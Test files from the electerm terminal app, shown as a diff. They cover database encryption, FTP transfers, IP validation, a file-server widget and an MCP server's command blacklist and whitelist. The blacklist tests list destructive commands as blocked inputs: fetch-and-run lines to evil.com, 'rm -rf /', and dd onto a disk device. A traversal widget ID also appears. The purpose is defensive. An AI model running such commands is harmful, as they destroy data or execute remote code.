const inserted = await db.dbAction('bookmarks', 'insert', doc)
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'findone.com')
assert.equal(found.user, 'bob')
})
test('update encrypts new value and find decrypts it', async () => {
const doc = { host: 'todo-update.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'update', { _id: inserted._id }, { $set: { host: 'updated-enc.com' } })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found.host, 'updated-enc.com')
})
test('data table: only userConfig record is encrypted', async () => {
await db.dbAction('data', 'insert', { _id: 'userConfig', secret: 'mySecret' })
await db.dbAction('data', 'insert', { _id: 'version', value: '1.0.0' })
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.data.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(!raw.includes('mySecret'), 'userConfig secret should NOT be plaintext in nedb')
assert.ok(raw.includes('1.0.0'), 'non-userConfig data should be plaintext in nedb')
})
test('data find returns decrypted userConfig, plain others', async () => {
const results = await db.dbAction('data', 'find', {})
const uc = results.find(r => r._id === 'userConfig')
const ver = results.find(r => r._id === 'version')
assert.ok(uc, 'should find userConfig')
assert.equal(uc.secret, 'mySecret', 'userConfig secret should be decrypted')
assert.ok(ver, 'should find version')
assert.equal(ver.value, '1.0.0', 'version value should be readable')
})
test('profiles table is encrypted', async () => {
const doc = { name: 'myProfile', secret: 'profileSecret' }
await db.dbAction('profiles', 'insert', doc)
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.profiles.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(!raw.includes('profileSecret'), 'profiles nedb should NOT contain plaintext secret')
})
test('non-enc table (quickCommands) is NOT encrypted', async () => {
const doc = { cmd: 'echo hello' }
await db.dbAction('quickCommands', 'insert', doc)
const nedbPath = path.join(
tmpDir, 'electerm', 'users', 'testuser', 'electerm.quickCommands.nedb'
)
const raw = fs.readFileSync(nedbPath, 'utf8')
assert.ok(raw.includes('echo hello'), 'non-enc tables should store data as plaintext')
})
test('remove works on enc table', async () => {
const doc = { host: 'to-delete.com' }
const inserted = await db.dbAction('bookmarks', 'insert', doc)
await db.dbAction('bookmarks', 'remove', { _id: inserted._id })
const found = await db.dbAction('bookmarks', 'findOne', { _id: inserted._id })
assert.equal(found, null)
})
})
})
+17
View File
@@ -0,0 +1,17 @@
const { enc, dec } = require('../../src/app/common/pass-enc')
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
describe('enc/dec funcs', function () {
it('dec/dec', async function () {
const rr = 'AZaz/.,;sd7s87dfds#2342834_+=-!@$%^&*()'
const r = enc(rr)
console.log(r)
const r2 = dec(r)
console.log(r2)
expect(r2).equal(rr)
})
})
+158
View File
@@ -0,0 +1,158 @@
// ftp-transfer.spec.js
const { test, expect } = require('@playwright/test')
const { spawn } = require('child_process')
const path = require('path')
const fs = require('fs')
const { Transfer } = require('../../src/app/server/ftp-transfer')
const { Ftp } = require('../../src/app/server/session-ftp')
test.describe('FtpTransfer Class', () => {
let ftpServer
let ftp
test.beforeAll(async () => {
// Start the FTP test server
const serverPath = path.join(__dirname, '../e2e/common/ftp.js')
ftpServer = spawn('node', [serverPath])
await new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('FTP server start timeout'))
}, 5000)
ftpServer.stdout.on('data', (data) => {
if (data.toString().includes('FTP server is running at port 21')) {
clearTimeout(timeout)
resolve()
}
})
})
})
test.afterAll(async () => {
ftpServer.kill()
await new Promise((resolve) => ftpServer.on('close', resolve))
})
test.beforeEach(async () => {
const initOptions = {
host: 'localhost',
port: 21,
user: 'test',
password: 'test123'
}
ftp = new Ftp(initOptions)
await ftp.connect(initOptions)
})
test.afterEach(() => {
if (ftp) {
ftp.kill()
}
})
test('should handle file transfer events', async () => {
const localPath = path.join(__dirname, 'test-upload.txt')
const remotePath = '/test-upload.txt'
const testContent = 'x'.repeat(1024 * 1024) // 1MB file
let dataEventCalled = false
let endEventCalled = false
await fs.promises.writeFile(localPath, testContent)
const transfer = new Transfer({
remotePath,
localPath,
type: 'upload',
sftp: ftp.client,
sftpId: '1',
sessionId: '1',
id: '1',
options: {
ftp: true
},
ws: {
s: (event) => {
if (event.id.startsWith('transfer:data:')) {
dataEventCalled = true
}
if (event.id.startsWith('transfer:end:')) {
endEventCalled = true
}
},
close: () => {}
}
})
console.log('transfer', transfer)
await transfer.start()
await new Promise(resolve => setTimeout(resolve, 1000))
expect(dataEventCalled).toBe(true)
expect(endEventCalled).toBe(true)
await ftp.rm(remotePath)
await fs.promises.unlink(localPath)
})
test('should pause and resume transfer', async () => {
const transfer = new Transfer({
remotePath: '/test.txt',
localPath: 'test.txt',
type: 'upload',
sftp: ftp.client,
id: '1',
ws: {
s: () => {},
close: () => {}
}
})
transfer.pause()
expect(transfer.pausing).toBe(true)
transfer.resume()
expect(transfer.pausing).toBe(false)
})
test('should properly destroy transfer', async () => {
const transfer = new Transfer({
remotePath: '/test.txt',
localPath: 'test.txt',
type: 'upload',
sftp: ftp.client,
id: '1',
ws: {
s: () => {},
close: () => {}
}
})
transfer.destroy()
await new Promise(resolve => setTimeout(resolve, 300))
expect(transfer.onDestroy).toBe(true)
expect(transfer.src).toBe(null)
expect(transfer.dst).toBe(null)
expect(transfer.ftpClient).toBe(null)
})
test('should handle transfer errors', async () => {
let errorCalled = false
const transfer = new Transfer({
remotePath: '/nonexistent/path/test.txt',
localPath: 'test.txt',
type: 'upload',
sftp: ftp.client,
id: '1',
ws: {
s: (event) => {
if (event.id.startsWith('transfer:err:')) {
errorCalled = true
}
},
close: () => {}
}
})
await transfer.start()
await new Promise(resolve => setTimeout(resolve, 1000))
expect(errorCalled).toBe(true)
})
})
+131
View File
@@ -0,0 +1,131 @@
const { test, expect } = require('@playwright/test')
const { Ftp } = require('../../src/app/server/session-ftp')
const { spawn } = require('child_process')
const path = require('path')
let ftpServer
test.describe('Ftp Class', () => {
test.beforeAll(async () => {
// Start the FTP test server
const serverPath = path.join(__dirname, '../e2e/common/ftp.js')
ftpServer = spawn('node', [serverPath])
await new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('FTP server start timeout'))
}, 5000)
ftpServer.stdout.on('data', (data) => {
if (data.toString().includes('FTP server is running at port 21')) {
clearTimeout(timeout)
resolve()
}
})
ftpServer.stderr.on('data', (data) => {
console.error(`FTP server error: ${data}`)
})
})
}, { timeout: 10000 }) // Increase timeout to 10 seconds
test.afterAll(async () => {
// Stop the FTP test server
ftpServer.kill()
await new Promise((resolve) => ftpServer.on('close', resolve))
})
let ftp
test.beforeEach(async () => {
const initOptions = {
host: 'localhost',
port: 21,
user: 'test',
password: 'test123'
}
ftp = new Ftp(initOptions)
await ftp.connect(initOptions)
})
test.afterEach(() => {
if (ftp) {
ftp.kill()
}
})
test('should connect to FTP server', async () => {
expect(ftp.client).toBeTruthy()
})
test('should get home directory', async () => {
const homeDir = await ftp.getHomeDir()
expect(typeof homeDir).toBe('string')
})
test('should create and remove a directory', async () => {
const testDir = '/test-dir'
await ftp.mkdir(testDir)
let list = await ftp.list('/')
expect(list.some(item => item.name === 'test-dir')).toBeTruthy()
await ftp.rmdir(testDir)
list = await ftp.list('/')
expect(list.some(item => item.name === 'test-dir')).toBeFalsy()
})
test('should create and remove a file', async () => {
const testFile = '/test-file.txt'
await ftp.touch(testFile)
let list = await ftp.list('/')
expect(list.some(item => item.name === 'test-file.txt')).toBeTruthy()
await ftp.rm(testFile)
list = await ftp.list('/')
expect(list.some(item => item.name === 'test-file.txt')).toBeFalsy()
})
test('should write and read a file', async () => {
const testFile = '/test-file.txt'
const testContent = 'Hello, FTP!'
console.log('Starting write operation')
await ftp.writeFile(testFile, testContent)
console.log('Write operation completed')
console.log('Starting read operation')
const content = await ftp.readFile(testFile)
console.log('Read operation completed')
expect(content.toString()).toBe(testContent)
console.log('Starting delete operation')
await ftp.rm(testFile)
console.log('Delete operation completed')
})
test('should rename a file', async () => {
const oldName = '/old-file.txt'
const newName = '/new-file.txt'
await ftp.touch(oldName)
await ftp.rename(oldName, newName)
const list = await ftp.list('/')
expect(list.some(item => item.name === 'new-file.txt')).toBeTruthy()
expect(list.some(item => item.name === 'old-file.txt')).toBeFalsy()
await ftp.rm(newName)
})
test('should get file stats', async () => {
const testFile = '/test-file.txt'
await ftp.touch(testFile)
const stats = await ftp.stat(testFile)
expect(stats).toHaveProperty('size')
expect(stats).toHaveProperty('modifyTime')
expect(stats).toHaveProperty('isDirectory')
await ftp.rm(testFile)
})
})
+42
View File
@@ -0,0 +1,42 @@
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
function isValidIP (input) {
// Check IPv4 format
const ipv4Pattern = /^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/
if (ipv4Pattern.test(input)) {
return true
}
// Check IPv6 format
const ipv6Pattern = /^([\da-f]{1,4}:){7}[\da-f]{1,4}$/i
if (ipv6Pattern.test(input)) {
return true
}
// If input doesn't match IPv4 or IPv6 patterns, it's not a valid IP
return false
}
describe('isValidIP', () => {
it('should return true for valid IPv4 addresses', () => {
expect(isValidIP('192.168.0.1')).toBe(true)
expect(isValidIP('10.0.0.1')).toBe(true)
expect(isValidIP('172.16.0.1')).toBe(true)
})
it('should return true for valid IPv6 addresses', () => {
expect(isValidIP('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).toBe(true)
expect(isValidIP('2001:db8:85a3:0:0:8a2e:370:7334')).toBe(true)
expect(isValidIP('2001:db8:85a3::8a2e:370:7334')).toBe(true)
})
it('should return false for invalid IP addresses', () => {
expect(isValidIP('192.168.0.256')).toBe(false)
expect(isValidIP('2001:db8:85a3:0:0:8a2e:370g:7334')).toBe(false)
expect(isValidIP('not-an-ip-address')).toBe(false)
})
})
+213
View File
@@ -0,0 +1,213 @@
const {
test: it, expect
} = require('@playwright/test')
const { describe } = it
const { listWidgets, runWidget, stopWidget } = require('../../src/app/widgets/load-widget')
const os = require('os')
const path = require('path')
const fs = require('fs/promises')
const axios = require('axios')
it.setTimeout(100000)
describe('load-widget', function () {
let serverInstance = null
let testDir = null
let serverUrl = null
// Helper to create test files
async function createTestFiles () {
testDir = path.join(os.tmpdir(), 'electerm-test-' + Date.now())
await fs.mkdir(testDir)
// Create a test index.html
const htmlContent = `
<!DOCTYPE html>
<html>
<head>
<title>
Test Page
</title>
</head>
<body>
<h1>
Hello from Electerm Test
</h1>
<p>
This is a test page served by local-file-server widget.
</p>
<p>
Timestamp: ${new Date().toISOString()}
</p>
</body>
</html>
`
await fs.writeFile(path.join(testDir, 'index.html'), htmlContent)
}
// Cleanup helper
async function cleanup () {
if (serverInstance) {
await stopWidget(serverInstance)
serverInstance = null
}
if (testDir) {
try {
await fs.rm(testDir, { recursive: true, force: true })
} catch (err) {
console.error('Cleanup error:', err)
}
}
}
// Setup before tests
it.beforeEach(async () => {
await createTestFiles()
})
// Cleanup after tests
it.afterEach(async () => {
await cleanup()
})
// Test listWidgets function
it('listWidgets should list available widgets', async function () {
const widgets = listWidgets()
console.log(widgets)
expect(Array.isArray(widgets)).toBe(true)
expect(widgets.length).toBeGreaterThan(0)
const fileServer = widgets.find(w => w.id === 'local-file-server')
expect(fileServer).toBeTruthy()
})
// Test runWidget function with file serving
it('should run local-file-server widget and serve files', async function () {
const config = {
directory: testDir,
port: 3457,
host: '127.0.0.1',
maxAge: 365 * 24 * 60 * 60 * 1000,
cacheControl: true,
lastModified: true,
etag: true,
dotfiles: 'allow',
redirect: true,
acceptRanges: true,
index: 'index.html'
}
try {
const result = await runWidget('local-file-server', config)
expect(result).toBeTruthy()
expect(result.instanceId).toBeTruthy()
expect(result.serverInfo).toBeTruthy()
expect(result.serverInfo.url).toBe(`http://${config.host}:${config.port}`)
expect(result.serverInfo.path).toBe(config.directory)
serverInstance = result.instanceId
serverUrl = result.serverInfo.url
// Test file serving
const response = await axios.get(serverUrl)
expect(response.status).toBe(200)
expect(response.headers['content-type']).toMatch(/text\/html/)
expect(response.data).toContain('Hello from Electerm Test')
// Test caching headers
expect(response.headers['cache-control']).toBeTruthy()
expect(response.headers.etag).toBeTruthy()
expect(response.headers['last-modified']).toBeTruthy()
// Test non-existent file
try {
await axios.get(`${serverUrl}/non-existent.html`)
throw new Error('Should have thrown 404')
} catch (err) {
expect(err.response.status).toBe(404)
}
} catch (err) {
console.log('run widget error:', err)
throw err
}
})
// Test directory listing (if enabled)
it('should handle directory requests properly', async function () {
if (!serverInstance || !serverUrl) {
const config = {
directory: testDir,
port: 3457,
host: '127.0.0.1',
maxAge: 365 * 24 * 60 * 60 * 1000,
cacheControl: true,
lastModified: true,
etag: true,
dotfiles: 'allow',
redirect: true,
acceptRanges: true,
index: 'index.html'
}
const result = await runWidget('local-file-server', config)
serverInstance = result.instanceId
serverUrl = result.serverInfo.url
}
// Create a subdirectory with a file
const subDir = path.join(testDir, 'subdir')
await fs.mkdir(subDir)
await fs.writeFile(path.join(subDir, 'index.html'), 'Test content')
// Test directory redirect (should redirect to index.html)
const response = await axios.get(`${serverUrl}/subdir/`)
expect(response.status).toBe(200)
})
// Test stopWidget function
it('should stop running widget', async function () {
if (!serverInstance) {
console.log('No server instance to stop')
return
}
const result = await stopWidget(serverInstance)
expect(result).toBeTruthy()
expect(result.instanceId).toBe(serverInstance)
expect(result.status).toBe('stopped')
// Verify server is actually stopped
try {
await axios.get(serverUrl)
throw new Error('Server should be stopped')
} catch (err) {
expect(err.code).toBe('ECONNREFUSED')
}
})
// Test error cases
it('should handle stopping non-existent widget', async function () {
const result = await stopWidget('non-existent-id')
expect(result).toBeUndefined()
})
it('should handle invalid widget ID', async function () {
try {
await runWidget('non-existent-widget', {})
throw new Error('Should have thrown an error')
} catch (error) {
expect(error).toBeTruthy()
}
})
it('should reject traversed widget IDs', async function () {
try {
await runWidget('../../../../../tmp/evil', {})
throw new Error('Should have thrown an error')
} catch (error) {
expect(error.message).toContain('Invalid widget ID')
}
})
})
+629
View File
@@ -0,0 +1,629 @@
/**
* Unit tests for src/app/widgets/widget-mcp-server.js
*
* Electron and glob-state are mocked so no real Electron process is needed.
* Two layers of coverage:
* 1. validateCommand() logic pure unit, no network
* 2. HTTP server lifecycle and blacklist enforcement spins up a real
* express server on a test port and drives it with axios, just like
* mcp.spec.js, but without an Electron app running.
*/
const { test, describe, before, after } = require('node:test')
const assert = require('assert/strict')
const axios = require('axios')
const Module = require('module')
// ── Electron mock ─────────────────────────────────────────────────────────────
// Capture the ipcMain 'mcp-response' handler so the mock win can call it back.
let capturedIpcHandler = null
const mockIpcMain = {
on (channel, fn) {
if (channel === 'mcp-response') capturedIpcHandler = fn
},
removeListener (channel, fn) {
if (channel === 'mcp-response') capturedIpcHandler = null
}
}
// ── Mock renderer (win) ───────────────────────────────────────────────────────
// Every mcp-request is acknowledged immediately with { mocked: true }.
// This lets tools that reach sendToRenderer() resolve without a real renderer.
const mockWin = {
webContents: {
send (channel, payload) {
if (channel !== 'mcp-request' || !capturedIpcHandler) return
setImmediate(() => {
capturedIpcHandler({}, { requestId: payload.requestId, result: { mocked: true } })
})
}
}
}
const mockGlobState = {
get (key) { return key === 'win' ? mockWin : null },
set () {}
}
// ── Intercept require() before loading the widget ─────────────────────────────
const originalLoad = Module._load.bind(Module)
Module._load = function (request, parent, isMain) {
if (request === 'electron') return { ipcMain: mockIpcMain }
if (request.includes('glob-state')) return mockGlobState
return originalLoad(request, parent, isMain)
}
const {
widgetInfo,
widgetRun,
_ElectermMCPServer: ElectermMCPServer
} = require('../../src/app/widgets/widget-mcp-server')
Module._load = originalLoad // restore normal require
// ── SSE helper (mirrors mcp.spec.js) ─────────────────────────────────────────
function parseSseBody (body) {
const dataLine = (typeof body === 'string' ? body : JSON.stringify(body))
.split('\n').find(l => l.startsWith('data: '))
if (!dataLine) return null
return JSON.parse(dataLine.slice(6))
}
async function mcpPost (port, body, sid) {
const headers = {
'Content-Type': 'application/json',
Accept: 'application/json, text/event-stream'
}
if (sid) headers['mcp-session-id'] = sid
const res = await axios.post(`http://127.0.0.1:${port}/mcp`, body, { headers })
return { status: res.status, headers: res.headers, data: parseSseBody(res.data) }
}
async function initSession (port) {
const res = await mcpPost(port, {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'test', version: '1' } }
})
return res.headers['mcp-session-id']
}
async function callTool (port, sid, toolName, args) {
return mcpPost(port, {
jsonrpc: '2.0',
id: 99,
method: 'tools/call',
params: { name: toolName, arguments: args }
}, sid)
}
// ─────────────────────────────────────────────────────────────────────────────
// 1. widgetInfo shape
// ─────────────────────────────────────────────────────────────────────────────
describe('widgetInfo', () => {
test('has required metadata fields', () => {
assert.equal(widgetInfo.name, 'MCP Server')
assert.equal(widgetInfo.type, 'instance')
assert.equal(typeof widgetInfo.version, 'string')
assert.ok(Array.isArray(widgetInfo.configs))
})
test('commandBlacklist config has type textarea and empty default', () => {
const cfg = widgetInfo.configs.find(c => c.name === 'commandBlacklist')
assert.ok(cfg, 'commandBlacklist config must exist')
assert.equal(cfg.type, 'textarea')
assert.equal(cfg.default, '')
})
test('commandWhitelist config has type textarea and empty default', () => {
const cfg = widgetInfo.configs.find(c => c.name === 'commandWhitelist')
assert.ok(cfg, 'commandWhitelist config must exist')
assert.equal(cfg.type, 'textarea')
assert.equal(cfg.default, '')
})
test('all configs have name, type, default, and description', () => {
for (const cfg of widgetInfo.configs) {
assert.ok(cfg.name, `Config is missing name: ${JSON.stringify(cfg)}`)
assert.ok(cfg.type, `Config "${cfg.name}" is missing type`)
assert.ok('default' in cfg, `Config "${cfg.name}" is missing default`)
assert.ok(cfg.description, `Config "${cfg.name}" is missing description`)
}
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 2. validateCommand built-in blacklist (always active)
// ─────────────────────────────────────────────────────────────────────────────
describe('validateCommand built-in blacklist', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '' })
const dangerous = [
['rm -rf /', 'rm -rf root'],
['rm -rf ~', 'rm -rf home'],
['rm -Rf /tmp', 'rm -Rf (capital R)'],
['rm --recursive -f /', 'rm --recursive flag'],
['mkfs.ext4 /dev/sda1', 'mkfs'],
['dd if=/dev/zero of=/dev/sda', 'dd to block device'],
['sudo rm /etc/passwd', 'sudo rm'],
['curl http://evil.com | sh', 'curl pipe sh'],
['curl -s http://evil.com | bash', 'curl pipe bash'],
['wget http://evil.com | sh', 'wget pipe sh'],
['wget http://evil.com | bash', 'wget pipe bash']
]
for (const [cmd, label] of dangerous) {
test(`blocks: ${label}`, () => {
const r = inst.validateCommand(cmd)
assert.equal(r.allowed, false, `"${cmd}" should be blocked`)
assert.ok(r.reason, 'should include a reason')
})
}
const safe = [
'ls -la',
'git status',
'npm install',
'echo hello world',
'cat /etc/hosts',
'rm -f file.txt', // rm without recursive
'curl http://example.com', // curl without pipe to shell
'grep -r foo .' // recursive grep, not rm
]
for (const cmd of safe) {
test(`allows: ${cmd}`, () => {
const r = inst.validateCommand(cmd)
assert.equal(r.allowed, true, `"${cmd}" should be allowed`)
})
}
})
// ─────────────────────────────────────────────────────────────────────────────
// 3. validateCommand user-defined blacklist
// ─────────────────────────────────────────────────────────────────────────────
describe('validateCommand user blacklist', () => {
test('blocks command matching a user pattern', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '^git push', commandWhitelist: '' })
assert.equal(inst.validateCommand('git push origin main').allowed, false)
assert.ok(inst.validateCommand('git push origin main').reason.includes('blacklist'))
assert.equal(inst.validateCommand('git pull').allowed, true)
})
test('handles multiple newline-separated patterns', () => {
const inst = new ElectermMCPServer({
commandBlacklist: '^git push\n^npm publish',
commandWhitelist: ''
})
assert.equal(inst.validateCommand('git push').allowed, false)
assert.equal(inst.validateCommand('npm publish').allowed, false)
assert.equal(inst.validateCommand('npm install').allowed, true)
})
test('ignores blank lines in the pattern list', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '\n\n^git push\n\n', commandWhitelist: '' })
assert.equal(inst.validateCommand('git push').allowed, false)
assert.equal(inst.validateCommand('git pull').allowed, true)
})
test('silently ignores invalid regex patterns', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '[invalid(regex', commandWhitelist: '' })
assert.doesNotThrow(() => inst.validateCommand('anything'))
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 4. validateCommand user-defined whitelist
// ─────────────────────────────────────────────────────────────────────────────
describe('validateCommand user whitelist', () => {
test('only allows commands matching a whitelist pattern', () => {
const inst = new ElectermMCPServer({
commandBlacklist: '',
commandWhitelist: '^(ls|git status|echo)'
})
assert.equal(inst.validateCommand('ls -la').allowed, true)
assert.equal(inst.validateCommand('git status').allowed, true)
assert.equal(inst.validateCommand('echo hello').allowed, true)
assert.equal(inst.validateCommand('rm file.txt').allowed, false)
assert.equal(inst.validateCommand('npm install').allowed, false)
})
test('whitelist is inactive when empty', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '' })
assert.equal(inst.validateCommand('npm install').allowed, true)
assert.equal(inst.validateCommand('any-command').allowed, true)
})
test('whitelist=.* still blocked by built-in blacklist', () => {
// Whitelist that matches everything must not override the built-in rules
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '.*' })
assert.equal(inst.validateCommand('rm -rf /').allowed, false)
assert.equal(inst.validateCommand('ls').allowed, true)
})
test('silently ignores invalid regex in whitelist', () => {
const inst = new ElectermMCPServer({ commandBlacklist: '', commandWhitelist: '[broken(' })
assert.doesNotThrow(() => inst.validateCommand('ls'))
// Command should be blocked because no valid pattern matched
assert.equal(inst.validateCommand('ls').allowed, false)
})
test('whitelist + user blacklist: blacklist wins', () => {
const inst = new ElectermMCPServer({
commandBlacklist: '^forbidden',
commandWhitelist: '^forbidden' // also whitelisted
})
// Blacklist is checked first, so it should be blocked
assert.equal(inst.validateCommand('forbidden-cmd').allowed, false)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 5. Server lifecycle
// ─────────────────────────────────────────────────────────────────────────────
describe('server lifecycle', () => {
const PORT = 30841
let instance = null
before(async () => {
instance = widgetRun({ host: '127.0.0.1', port: PORT })
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('CORS preflight returns 204 with correct headers', async () => {
const res = await axios.options(`http://127.0.0.1:${PORT}/mcp`)
assert.equal(res.status, 204)
assert.equal(res.headers['access-control-allow-origin'], undefined)
assert.ok(res.headers['access-control-allow-methods'].includes('POST'))
assert.ok(res.headers['access-control-allow-headers'].includes('mcp-session-id'))
})
test('MCP initialize returns a valid session ID', async () => {
const res = await mcpPost(PORT, {
jsonrpc: '2.0',
id: 1,
method: 'initialize',
params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'test', version: '1' } }
})
assert.equal(res.status, 200)
assert.ok(res.headers['mcp-session-id'], 'session ID header must be present')
assert.match(res.headers['mcp-session-id'], /^[\w-]+$/)
assert.equal(res.data.result.protocolVersion, '2024-11-05')
assert.equal(res.data.result.serverInfo.name, 'electerm-mcp-server')
})
test('tools/list includes all expected terminal tools', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }, sid)
assert.equal(res.status, 200)
const tools = res.data.result.tools
assert.ok(Array.isArray(tools) && tools.length > 0, 'should return tools array')
const names = tools.map(t => t.name)
for (const expected of [
'list_electerm_tabs',
'get_electerm_active_tab',
'send_electerm_terminal_command',
'wait_for_electerm_terminal_idle',
'get_electerm_terminal_status',
'cancel_electerm_terminal_command',
'run_electerm_background_command',
'get_electerm_background_task_status',
'get_electerm_background_task_log',
'cancel_electerm_background_task'
]) {
assert.ok(names.includes(expected), `Missing tool: ${expected}`)
}
})
test('tools/list includes direct tab open tools', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }, sid)
assert.equal(res.status, 200)
const names = res.data.result.tools.map(t => t.name)
for (const expected of [
'open_electerm_tab_ssh',
'open_electerm_tab_telnet',
'open_electerm_tab_serial',
'open_electerm_tab_local'
]) {
assert.ok(names.includes(expected), `Missing tool: ${expected}`)
}
})
test('unknown method returns error response', async () => {
const sid = await initSession(PORT)
const res = await mcpPost(PORT, { jsonrpc: '2.0', id: 3, method: 'no_such_method', params: {} }, sid)
assert.ok(res.data.error, 'Should return error for unknown method')
})
test('stop() closes the server cleanly', async () => {
// stop is handled by after(), but we verify stop is idempotent
const tempInstance = widgetRun({ host: '127.0.0.1', port: PORT + 10 })
await tempInstance.start()
await assert.doesNotReject(() => tempInstance.stop())
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 6. Blacklist enforcement via HTTP tool calls
// ─────────────────────────────────────────────────────────────────────────────
describe('blacklist enforcement via HTTP', () => {
const PORT = 30842
let instance = null
before(async () => {
instance = widgetRun({
host: '127.0.0.1',
port: PORT,
commandBlacklist: '^forbidden-cmd'
})
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('user-blacklisted command is rejected before reaching renderer', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'forbidden-cmd do-things' })
const text = res.data.result.content[0].text
assert.ok(text.includes('blacklist'), `Expected "blacklist" in error text, got: ${text}`)
assert.equal(res.data.result.isError, true)
})
test('built-in blacklist rejects rm -rf /', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'rm -rf /' })
const text = res.data.result.content[0].text
assert.ok(
text.includes('blocked') || text.includes('safety') || text.includes('built-in'),
`Expected safety rejection, got: ${text}`
)
assert.equal(res.data.result.isError, true)
})
test('safe command reaches renderer mock and returns mocked result', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'echo hello' })
const text = res.data.result.content[0].text
// The mock renderer returns { mocked: true }
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('list_electerm_tabs reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'list_electerm_tabs', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('open_electerm_tab_ssh reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'open_electerm_tab_ssh', { host: '127.0.0.1' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('open_electerm_tab_local reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'open_electerm_tab_local', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 7. Whitelist enforcement via HTTP tool calls
// ─────────────────────────────────────────────────────────────────────────────
describe('whitelist enforcement via HTTP', () => {
const PORT = 30843
let instance = null
before(async () => {
instance = widgetRun({
host: '127.0.0.1',
port: PORT,
commandWhitelist: '^(echo|ls)'
})
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('command not in whitelist is rejected', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'npm install' })
const text = res.data.result.content[0].text
assert.ok(text.includes('whitelist'), `Expected "whitelist" in error text, got: ${text}`)
assert.equal(res.data.result.isError, true)
})
test('command in whitelist is allowed', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'send_electerm_terminal_command', { command: 'echo hello' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 8. Long-running task tools terminal status & cancel
// ─────────────────────────────────────────────────────────────────────────────
describe('terminal status & cancel tools', () => {
const PORT = 30844
let instance = null
before(async () => {
instance = widgetRun({ host: '127.0.0.1', port: PORT })
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('get_electerm_terminal_status reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_terminal_status', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('get_electerm_terminal_status with tabId reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'get_electerm_terminal_status', { tabId: 'some-tab-id' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('cancel_electerm_terminal_command reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'cancel_electerm_terminal_command', {})
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
test('cancel_electerm_terminal_command with tabId reaches renderer mock', async () => {
const sid = await initSession(PORT)
const res = await callTool(PORT, sid, 'cancel_electerm_terminal_command', { tabId: 'some-tab-id' })
const text = res.data.result.content[0].text
assert.ok(text.includes('mocked'), `Expected mocked renderer response, got: ${text}`)
})
})
// ─────────────────────────────────────────────────────────────────────────────
// 9. Long-running task tools background command management
// ─────────────────────────────────────────────────────────────────────────────
describe('background task tools', () => {
const PORT = 30845
let instance = null
before(async () => {
instance = widgetRun({ host: '127.0.0.1', port: PORT })
await instance.start()
})
after(async () => {
if (instance) await instance.stop()
})
test('run_electerm_background_command reaches renderer mock', async () => {
const sid = await initSession(PORT)
